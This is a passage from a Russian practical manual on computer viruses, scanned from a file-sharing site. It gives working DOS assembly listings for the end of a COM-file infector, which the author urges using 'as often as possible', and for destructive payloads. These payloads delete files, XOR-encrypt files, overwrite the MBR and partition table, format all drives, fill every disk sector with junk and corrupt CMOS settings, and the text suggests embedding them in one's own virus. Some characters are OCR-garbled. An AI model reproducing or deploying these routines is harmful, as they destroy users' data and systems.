Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

131

 

 

mov ax,4202h

; Переходим в конец обнаруженного файла

xor cx,cx

 

;

cwd

 

;

int 21h

 

;

mov ah,40h

 

; И дописываем основное тело вируса

int 1h

 

; Антиэвристика

lea dx,[bp+start]

;

mov cx,finish-start

;

int 21h

 

;

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

testing:

 

; Проверка на инфицируемость

mov ax,4200h

; Переходим в конец файла, но не в самый, а

xor cx,cx

 

; на три байта меньше, чтобы указатель

mov dx,word ptr[bp+size1]

; указывал на 3 байта от конца

sub dx,3

 

;

int 21h

 

;

mov ah,3fh

 

; Читаем этот байт из файла

mov cx,1

 

;

lea dx,[bp+try]

;

int 21h

 

;

cmp [bp+try],0e8h

; Если он равен 0e8h, то этот файл уже

jne dalshe

 

; заражен, и мы переходим к его закрытию

jmp close

 

; Если не равен,

dalshe:

 

 

mov ax,4200h

; тогда ставим указатель на начало файла

xor cx,cx

 

;

xor dx,dx

 

;

int 21h

 

;

jmp vozvrat

 

; И переходим к поиску 0b4h

;----------------------------------------------

 

 

file1

db '*.com',0

; Данные, которые входят в тело вируса

addr

dw 0

;

orig_bytes

db 0b4h

;

buff

db 0,0,0

;

fuck

db 0e8h

;

size1

dw 0

;

;----------------------------------------------

 

 

finish:

 

 

try

db ?

; А эти данные временные и в тело вируса не

new_dta

db 43 dup(?)

; входят

cseg ends end start

;----------------------------------------------

Представленный выше вирус является простейшим примером применения технологии неизлечимости. Как уже было сказано, данная технология очень перспективна. Так что применять ее необходимо как можно чаще.

132

DOS вирусы

 

 

Для изучения и лечения данного вида вирусов необходимо затратить немало времени на их анализ. Написание же антивируса это, вообще говоря, не простая задача.

Ï ð è ê ë à ä í û å ô ó í ê ö è è â è ð ó ñ î â

Глава 6 Деструктивные способности вирусов

Теперь мы с вами поговорим о деструктивных возможностях вирусов. Во времена становления компьютерных вирусов ходило много баек о том, как человек погиб от компьютерного вируса, или его системный блок разорвала злобная вирусная программа. Чтобы развеять все легенды о вирусах, мы разберемся в том, что они могут разорвать, а чего нет.

Раньше бытовало такое мнение, что компьютерный вирус может даже убить человека посредством гипноза и пресловутого 25 кадра. На самом деле фактиче- ского подтверждения этим слухам никогда не было. В основном это были так называемые газетные утки.

Но достоверно известно, что некоторые компьютерные вирусы могли выводить из строя компьютерные мониторы. Стоит оговориться, что те мониторы, которые «палили» вирусы, существовали давно. Современные мониторы уже не горят, как ты не старайся. А программным путем (следовательно, из вирусной программы) современный монитор вывести из строя нельзя. Конечно, можно поэкспериментировать над строчной разверткой и другими подобными вещами, но разработчики вирусов тоже ведь люди, и свои мониторы во время экспериментов им портить не хочется. Поэтому если такие вирусы и есть, то их соотношение к традиционным 1 к 50 000.

Первое, что компьютерные вирусы испокон веков делали, это стирали файлы. Рассмотрим программу, которая стирает один единственный файл. Для чего, спросите вы? А для того, чтобы в лицо знать своего врага. К примеру, вы не знаете функции какой-либо программы. Вы загружаете ее в дизассемблер и видите там вызов функции, которая удаляет файл, и когда вы эту функцию узнаете, будете настороже. И просто так эту программу уже не запустите. И второе применение: встраиваете этот кусочек кода в свой вирус, меняете имя файла и... В зависимости от имени файла существуют возможности:

вывести из строя операционную систему;

удалить важную информацию;

и многое другое.

Рассмотрим листинг:

;----------------------------------------------

cseg segment

assume cs:cseg,ds:cseg

DOS вирусы

133

 

 

org 100h

 

start:

 

;----------------------------------------------

 

mov

ah,41h

xor

cx,cx

lea

dx,filename

int

21h

int

20h

;----------------------------------------------

 

filename db 'comok.com',0 ;----------------------------------------------

cseg ends end start

;----------------------------------------------

Данная программа стирает файл в текущей директории под именем comok.com. После того как в вирусах стало использоваться тривиальное удаление файлов, появились некоторые люди и сказали «а если они файлы восстановят?», и стали они вместо того чтобы просто удалять файлы, шифровать их. Но не всем вирмейкерам это нравилось, потому что это не стоило затраченных усилий.

Рассмотрим простейшую программу, которая шифрует случайное количество байт в файле, случайным ключом, но количество шифруемых байт не превысит 255. И если файл, который мы шифруем, меньше, чем количество байт, которое мы шифруем, то программа допишет оставшиеся байты сама. Да, файл, с которым производится работа, — тот же comok.com

Перейдем к листингу:

;----------------------------------------------

cseg segment org 100h

assume cs:cseg,ds:cseg,es:cseg

start:

 

mov ax,3d02h

; Открываем файл на чтение/запись

lea dx,fname

; Как обычно, comok.com

int 21h

;

xchg ax,bx

; Дескриптор (хэндл) файла в bx

;----------------------------------------------

 

in al,40h

; Получаем случайное число в al

mov size1,al

; Это будет количество байт для шифрования

in al,40h

; Получаем случайное число в al

mov key,al

; Это будет ключ, которым мы будем шифровать

;----------------------------------------------

 

mov ah,3fh

; Читаем из файла

lea dx,buff

; в переменную buff

mov cl,size1

; случайное количество байтов

int 21h

;

call crypt

; Вызываем процедуру шифрования

134

DOS вирусы

 

 

mov ax,4200h

; Переходим в начало файла

xor cx,cx

;

cwd

;

int 21h

;

mov ah,40h

; Записываем туда уже зашифрованные байты

lea dx,buff

;

mov cl,size1

;

int 21h

;

mov ah,3eh

; Закрываем файл

int 21h

;

int 20h

; Завершаем работу программы

;----------------------------------------------

 

crypt:

 

xor si,si

; Обнуляем si

crp2:

 

mov al,buff[si]

; Загружаем в al текущий байт

xor al,key

; Шифруем его операцией XOR со случайным ключом

mov buff[si],al

; Помещаем уже зашифрованный байт обратно в buff

inc si

; Переходим к следующему байту

cmp si,cx

; Если байты для шифрования закончились,

jne crp2

;

ret

; выходим из процедуры

;----------------------------------------------

 

 

 

fname

db

'comok.com',0

; Данные

size1

db

0

;

key

db

0

;

buff

db

0FFh dup(?)

;

;----------------------------------------------

 

 

 

cseg ends

 

 

 

end start

 

 

 

;----------------------------------------------

 

 

 

Забыл сказать, что один из самых известных вирусов Onehalf тоже использовал шифрование, но он по-тихому шифровал непосредственно части жесткого диска.

После этого в вирусах особенно полюбили использовать низкоуровневое форматирование. Это стало так популярно благодаря тому, что это моментальное и тотальное уничтожение всей информации, находящейся на жестком диске.

Рассмотрим листинг:

;----------------------------------------------

 

 

cseg segment

 

 

assume cs:cseg,ds:cseg

 

org 100h

 

start:

 

 

jmp destroy

;----------------------------------------------

 

 

DSTRY

DB

0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2

DOS вирусы

 

 

 

 

135

 

 

 

 

 

 

DB

0,0,7,2, 0,0,8,2,

0,0,9,2,

0,0,10,2,

0,0,11,2,

0,0,12,2

DB

0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2

 

;----------------------------------------------

 

 

 

 

 

DESTROY:

 

 

 

 

 

mov

AH,05H

; форматирование винчестера начинается с сектора

mov

DL,80H

; 0 и продолжается до сектора 16

mov

DH,0H

; Это должно убить master boot

mov

CX,0000H

; record & partition table

mov

AL,11H

; информация по низкоуровневому форматированию

mov

BX,OFFSET DSTRY

; находится в DSTRY в виде 1,2,3,4,

int

13H

; где 1=номер трэка,2=номер головки,3=номер сектора

 

 

; и 4=байты/сектор с 2=512 байты/сектор

int 20h

 

 

 

 

 

;----------------------------------------------

 

 

 

 

 

cseg ends end start

;----------------------------------------------

Данная программа перезаписывает 16 секторов винчестера, что убивает master boot record и partition table.

И еще один пример, но только эта программа форматирует все диски, начи- ная с C: и заканчивая Z:.

Перейдем к листингу:

;----------------------------------------------

 

 

 

 

cseg

segment

 

 

 

 

org 100h

 

 

 

assume cs:cseg,ds:cseg,es:cseg

 

;----------------------------------------------

 

 

 

 

start:

 

 

 

 

mov

al,counter

 

; Счетчик дисков для форматирования

 

call

alter

 

; Вызываем процедуру форматирования

 

 

 

 

; 25 ýòî äèñê Z:

 

cmp

counter,25

 

; Это последний диск?

 

je

exit

 

; Если да, то завершаем программу

 

inc

counter

 

; Переходим к следующему диску

 

loop

start

 

; Пока еще есть живые диски, будем форматировать

alter:

 

 

 

 

mov

ah,05

 

; Форматируем дорожку

 

mov

ch,0

 

; форматируем нулевую дорожку

 

mov

dh,0

 

; нулевая головка

 

mov

dl,counter

 

; Форматируем текущий диск

 

int

13H

 

; Вызов прерывания

 

ret

 

 

; Возврат из процедуры

exit:

 

 

 

 

 

int 20h

 

 

; Завершение программы

;----------------------------------------------

 

 

 

 

 

counter

db

2

; Счетчик для дисков начинаем с -> c:\

;----------------------------------------------

 

 

 

 

cseg

ends

 

 

 

 

end start

 

 

;----------------------------------------------

 

 

 

 

136

DOS вирусы

 

 

Излюбленным методом деструкции большинства вирмейкеров является запись всякого мусора на диск (trashing). Рассмотрим парочку примеров для понимания сути работы данной деструкции.

Вот листинг первого примера:

;----------------------------------------------

 

 

 

 

cseg

segment

 

 

 

org 100h

 

 

 

assume cs:cseg,ds:cseg,es:cseg

 

start:

 

 

 

;----------------------------------------------

 

 

 

 

 

mov al,2h

; Äèñê C:

 

drive:

 

;

 

 

mov

cx,1

; Забиваем весь диск нашим сообщением

 

lea

bx,virus

 

 

 

cwd

 

; Устанавливаем dx=0

n_sect:

 

 

 

 

int

26h

 

 

 

inc

dx

 

 

 

jnc

n_sect

; Работаем со всеми секторами

 

inc

al

 

 

 

jmp

drive

;

 

 

ret

 

 

 

;----------------------------------------------

 

 

 

 

 

virus db "SHIT IN YOUR HARD DRIVE$"

; Этим сообщением будет забит весь диск

;----------------------------------------------

 

 

 

 

cseg

ends

 

 

 

 

end start

 

 

;----------------------------------------------

 

 

 

 

Данная программа записывает наше сообщение на все диски и во все сектора, таким образом уничтожая всю информацию, которая там была.

Еще один листинг:

;----------------------------------------------

cseg segment org 100h

assume cs:cseg,ds:cseg,es:cseg

start:

 

 

;----------------------------------------------

 

 

cli

 

; Отключаем прерывания

mov

ax,0002h

; Äèñê C:

mov

cx,100h

; Сектора (100hex=256DEC!)

xor

dx,dx

; Обнуляем dx (начинаем с нулевого сектора)

int

026h

; Вызов прерывания записи на диск

int 20h

 

; Завершение работы

;----------------------------------------------

 

 

cseg ends

 

 

end start

 

 

;----------------------------------------------

 

 

Данная программа перезаписывает 256 секторов диска C:\ мусором.

DOS вирусы

137

 

 

Âпоследнее время получили распространение вирусы, портящие flash BIOS

èCMOS память. В вирусе «Чернобыль» реализована возможность перезаписи Flash-микросхемы. Для ее восстановления потребуется специальный программатор. Вирус «Чернобыль» — это штамм известного вируса WIN CIH.

Я считаю необходимым затронуть в этом повествовании работу с CMOS'ом Рассмотрим следующий листинг:

;----------------------------------------------

cseg segment org 100h

assume cs:cseg,ds:cseg,es:cseg

.286

start: ;----------------------------------------------

;Данная программа меняет в настройки CMOS так, чтобы дискеты смотрелись как

;отформатированные на 360 кб или винчестер с доступной памятью в 20 Мб

;----------------------------------------------

screw_cmos:

cmp dl,0

; если dl = 0, то издеваемся над дискетой,

je floppy

 

mov cl,19h

; иначе будем издеваться над винчестером

jmp short get_crc

 

floppy:

 

mov cl,10h

 

get_crc:

; Получаем контрольную сумму CMOS'а

mov ax,2eh

; Получаем наиболее значащий байт

out 70h,al

; и сохраняем его в dh

in al,71h

 

xchg dh,al

 

mov al,2fh

; Получаем наименее значащий байт

out 70h,al

; и сохраняем его в dl

in al,71h

 

xchg dl,al

; dx содержит контрольную сумму

mov al,cl

; cl = функция (10h=дискета, 19h=винчестер)

out 70h,al

 

in al,71h

; Получить текущее значение в al

sub dx,ax

; и отнять от него контрольную сумму

add dx,10h

; Добавить новое значение к контрольной сумме

mov al,cl

 

out 70h,al

 

mov al,10h

 

out 71h,al

; Поместить новое значение в CMOS

mov al,2eh

; Поместить обратно новую контрольную сумму

out 70h,al

 

xchg dh,al

 

out 71h,al

; Наименее значимый байт

mov al,2fh

 

out 70h,al

 

xchg dl,al

 

out 71h,al

; Наиболее значимый байт

138

DOS вирусы

 

 

;----------------------------------------------

 

int 20h

; Конец программы

cseg ends

 

end start

 

;----------------------------------------------

 

Данная программа смотрит на состояние регистра dl, отображающего состояние ячейки CMOS, и если он равен нулю, то дискеты по умолчанию в системе будут считаться отформатированными на 360 кб, если dl не равен нулю, то размер винчестера будет считаться 20 Мб. Представьте, какая это досада, если реальный размер винчестера 20 Гб...

Итак, с основными деструктивными функциями вирусов мы и разобрались. Но, по сути, деструктивных проявлений в вирусах столько же, сколько и людей, пишущих эти вирусы, может чуть меньше, потому как не все вирмейкеры одобряют деструктивные проявления.

Использовать или не использовать деструктивные проявления? Каждый вирмейкер решает этот вопрос по своему...

Поэтому если есть подозрения на деструкцию в вирусе, то при его изучении и лечении нужно быть крайне осторожным.

Глава 7 Графические и музыкальные эффекты

в вирусах

Помимо всяческих жестоких проявлений вирусов есть веселые графические и мультипликационные эффекты, которые вирусы демонстрируют для людей, компьютеры, которых они инфицировали. Очень часто встречаются и музыкальные эффекты в вирусах, реже — графика и звук одновременно. В этой части повествования я опишу несколько наиболее известных и красивых проявлений вирусов.

Данные проявления очень важны, многие пользователи только по этим проявлениям понимали, что их компьютер инфицирован. И чем лучше были проявления, тем с большим трепетом пользователи относились к данному вирусу.

Итак, мы будем рассматривать анимационные проявления, начиная с простого и постепенно двигаясь к все более сложным.

Первым простейшим проявлением был вывод текстовой строки. Какая же это графика и анимация, скажете вы? Но, должен сказать, что это самый распространенный вид недеструктивного проявления.

Рассмотрим листинг:

;----------------------------------------------

 

cseg segment

 

org 100h

 

assume cs:cseg,ds:cseg,es:cseg

 

.286

 

start:

 

;----------------------------------------------

 

mov ah,09h

; Функция вывода строки на экран

lea dx,msg

; Сообщение для вывода

DOS вирусы

 

 

139

 

 

 

 

int 21h

;

Вызов

прерывания

ret

;

Выход

из программы

;----------------------------------------------

 

 

 

msg db "...Hi there I am SuPeR ViRus$" ; Само сообщение, которое будем выводить ;----------------------------------------------

cseg ends

end start ;----------------------------------------------

Данная простейшая программа выводит на экран одну строчку «...Hi there I am SuPeR ViRus».

Дальше больше: вирмейкеры поняли, что с помощью красивых проявлений они могут стать известными, и начались эксперименты вначале с текстом, а потом и с графикой со звуком.

Представленный ниже анимационный эффект раньше был очень популярен. Он представляет собой осыпание букв. Данный спецэффект был использован в вирусе «Каскад».

Перейдем к листингу:

;----------------------------------------------

code

segment

 

 

assume cs:code,ds:code,es:code,ss:code

 

org

0100h

 

main

proc

near

 

 

jmp start

 

Row

dw

24

; Строки для инициализации

 

 

 

; Вначале получим видеорежим и страницу

Start:

mov

cx,0B800h

; Цветной монитор, цветная видеопамять для страницы 1

 

mov

ah,15

; Получим текущий видеорежим

 

int

10h

 

 

cmp

al,2

; Öâåò?

 

je

A2

; Äà?

 

cmp

al,3

; Öâåò?

 

je

A2

; Äà

 

cmp

al,7

; Чернобелый?

 

je

A1

; Äà

 

int

20h

; Нет, выход

 

 

 

; здесь, если 80 колонок — текстовый режим

 

 

 

; Положим видеосегмент в ds.

A1:

mov

cx,0A300h

; Устанавливаем для Ч/Б; Ч/Б видеопамять для страницы 1

A2:

mov

bl,0

; bx=смещение страницы

 

add

cx,bx

; Видеосегмент

 

mov

ds,cx

; â ds

 

 

 

; Начинаем эффект опадания букв

 

xor

bx,bx

; Начинаем в верхнем левом углу

A3:

push

bx

; Сохраняем начальный столбец в стеке

 

mov

bp,80

; Сбрасываем счетчик столбцов

 

 

 

; Do next column in a row.

A4:

mov

si,bx

; Ставим верхнюю строчку в si

 

mov

ax,[si]

; Получаем символ и атрибуты с экрана

140

 

 

DOS вирусы

 

 

 

 

 

cmp

al,20h

; Это пробел?

 

je

A7

; Да, пропускаем его

 

mov

dx,ax

; Нет, сохраним символ в dx

 

mov

al,20h

; Сделаем его пробелом

 

mov

[si],ax

; и выведем его на экран

 

add

si,160

; Устанавливаем следующую строчку

 

mov

di,cs:Row

; Получаем оставшиеся строки

A5:

mov

ax,[si]

; Получаем символ и атрибуты с экрана

 

mov

[si],dx

; Кладем символ с верхней строки и атрибуты сюда

A6:

call Vert

; Ждем 2 вертикальных восстановления

 

mov

[si],ax

; Кладем оригинальный символ и атрибуты назад

 

 

 

; Переходим к следующей строчке этого столбца

 

add

si,160

; Следующая строчка

 

dec

di

; Сделали, строки кончились?

 

jne

A5

; Нет, работаем со следующей

 

mov

[si-160],dx

; Кладем символ и атрибуты в строчку 25

 

 

 

; Переходим к следующему столбцу в этой строке

A7:

add

bx,2

; Следующий столбец, та же строчка

 

dec

bp

; Уменьшаем счетчик стобцов; Закончили?

 

jne

A4

; Нет, работаем с этим столбцом

 

 

 

; Переходим к следующей строке.

A8:

pop

bx

; Получаем начало текущей строки

 

add

bx,160

; Следующая строка

 

dec

cs:Row

; Все строки обработали?

 

jne

A3

; Íåò

A9:

mov

ax,4C00h

 

 

int

21h

; Да, выходим в DOS

 

 

 

; Процедура для генерации снега на CGA дисплее

Vert:

push ax

 

 

push dx

 

 

push cx

; Сохраняем все используемые регистры

 

mov

cl,2

; Ждем 2 вертикальных восстановления

 

mov

dx,3DAh

; Состояние порта CRT

F1:

in

al,dx

; Читаем состояние

 

test

al,8

; Вертикальное восстановление ушло вверх?

 

je

F1

; Нет, подождем его

 

dec

cl

; Второе?

 

je

F3

; Да, пишем во время заполнения

F2:

in

al,dx

; Нет, получаем состояние

 

test

al,8

; Вертикальное восстановление ушло вниз?

 

jne

F2

; Нет, подождем его

 

jmp

F1

; Да, ждем следующего подъема

F3:

pop

cx

 

 

pop

dx

 

 

pop

ax

; Восстанавливаем регистры

 

ret

 

; и выходим из программы

main endp

 

 

 

code

ends

 

 

end

main

 

 

;----------------------------------------------

 

 

 

Данная программа работает с видеопамятью и принцип ее работы ясен из комментариев.

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]